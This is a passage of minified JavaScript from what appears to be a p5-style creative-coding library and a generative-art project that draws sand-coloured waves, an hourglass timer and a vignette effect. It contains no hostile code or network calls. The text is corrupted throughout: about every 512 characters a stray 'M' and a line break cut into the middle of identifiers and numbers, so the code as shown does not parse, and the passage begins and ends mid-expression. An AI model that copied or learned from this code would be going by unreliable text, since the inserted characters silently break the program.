.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
